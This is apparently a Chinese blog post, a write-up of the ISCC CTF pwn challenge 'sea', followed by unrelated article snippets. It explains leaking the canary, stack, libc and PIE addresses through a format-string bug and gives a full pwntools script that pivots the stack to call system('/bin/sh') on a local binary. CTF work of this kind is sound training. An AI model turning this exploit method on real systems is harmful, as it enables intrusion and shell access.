news 2026/7/2 4:02:01

iscc_擂台赛_sea

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
iscc_擂台赛_sea

ISCC-pwn(2026)-CSDN博客思路是在这位博客上get的

查看一下文件的保护措施 又有canary 还有pie ,需要泄露的有点多啊

格式化字符串漏洞,那就好解决了,但是read(0, buf, 0x7Cu)=》(104,124)

溢出并不够我们构造rop链啊,那就考虑一下栈迁移。只是在本地调试学习,

下面是我有了改动的的东西。

from pwn import * p=process('./sea') context(arch='amd64',os='linux',log_level='debug') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') elf=ELF('./sea') p.recvuntil(b'>') p.sendline(b'%15$p%13$p%21$p%17$p') #p.recvuntil(b'0x') #canary=int(p.recv(16),16) #print(hex(canary)) data = p.recvline().split(b'0x') rbp= int(data[1],16) leak=int(data[2],16) canary = int(data[3],16) main = int(data[4],16) gdb.attach(p) print(f'rbp= {hex(rbp)}') print(f'libc={hex(leak)}') print(f"canary={hex(canary)}") print(f'r13={hex(main)}') base=main-(0x13cc) rdi=0x1483+base leve_ret=0x130b+base libc_base=leak-libc.symbols.setvbuf-245 print(hex(libc_base)) ret=0x101a+base sys=0x130d+base p.recvuntil(b'>') pay=(p64(rdi)+p64(next(libc.search(b'/bin/sh'))+libc_base)+p64(libc.symbols.system+libc_base)+p64(main)).ljust(0x68,b'a')+p64(canary)+p64(rbp)+p64(leve_ret) print(len(pay)) p.send(pay) p.interactive()

就一直困扰我的就是泄露那些除了canary之外的其他东西。canary偏移好测:buf104/8=13,然后再通过程序的漏洞看输入到输出的偏移,从下面看出来是8,所以canary就在21处

印象里rbp不是应该在canary后吗,为啥他的偏移是15嘞。从下面看 rsi是我们输入进栈的第一个位置,rbp就在他下面15处,至于 13处的libc和17处的main 都是泄露出地址后 在栈上看见的,不是刻意想知道哪个,我们的目的是找到基址。能泄露,知道泄露的是啥,那就能达到目的

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/2 4:01:04

初探性能优化——2个月到4小时的性能提升

项目描述 我将公司的项目内容抽象,大概是要做这样一件事情。 1. 数据库A中有2000万条用户数据   2. 将数据库A中的用户读出,为每条用户生成guid,并保存到数据库B中   3. 同时在数据库A中生成关联表 项目要求为: 1. 将用户存入…

作者头像 李华
网站建设 2026/7/2 3:59:39

2026中考英语词汇用什么 App 复习?重点看课标词汇、错词巩固和复习反馈

中考英语词汇用什么 App 复习,关键不是看哪个软件词库最大,而是看它能不能帮助学生围绕中考目标完成课标词汇、课内错词、听写默写和阅读理解的复习。中考词汇复习不是简单把单词表刷一遍,而是要把不会的词、容易忘的词、考试常见词反复巩固。…

作者头像 李华
网站建设 2026/7/2 3:59:01

模拟真人操作的AI客服,中坻沐客私域转化方案

有没有能替代人工销售团队进行24小时自动跟进客户的AI软件:南京中坻沐客等品牌方案解析面对高昂的人工成本和销售流失问题,许多企业主都在搜索有没有能替代人工销售团队进行24小时自动跟进客户的AI软件。本文并非基于官方数据的绝对排名,而是…

作者头像 李华
网站建设 2026/7/2 3:58:30

职场办公小工具:慧视扫描王实用功能一览

简介:慧视扫描王一键扫描、AI 文字识别、发票 / 证件全流程管理,面向职场、财务、外贸、学生群体,区别于普通扫描软件,核心优势是扫描后配套完整归档、业务处理功能,不止单纯拍文件。 1. 全品类证件智能管理 覆盖身份证…

作者头像 李华
网站建设 2026/7/2 3:58:17

Hermes 语音输入(STT)安装指南

完整的语音转写安装指南,可以直接给新的hermes agent使用。Hermes 语音输入(STT)安装指南前置条件Hermes Agent 已安装有麦克风步骤1. 安装 faster-whisper(语音识别引擎)用 uv 装,不要用 pip(H…

作者头像 李华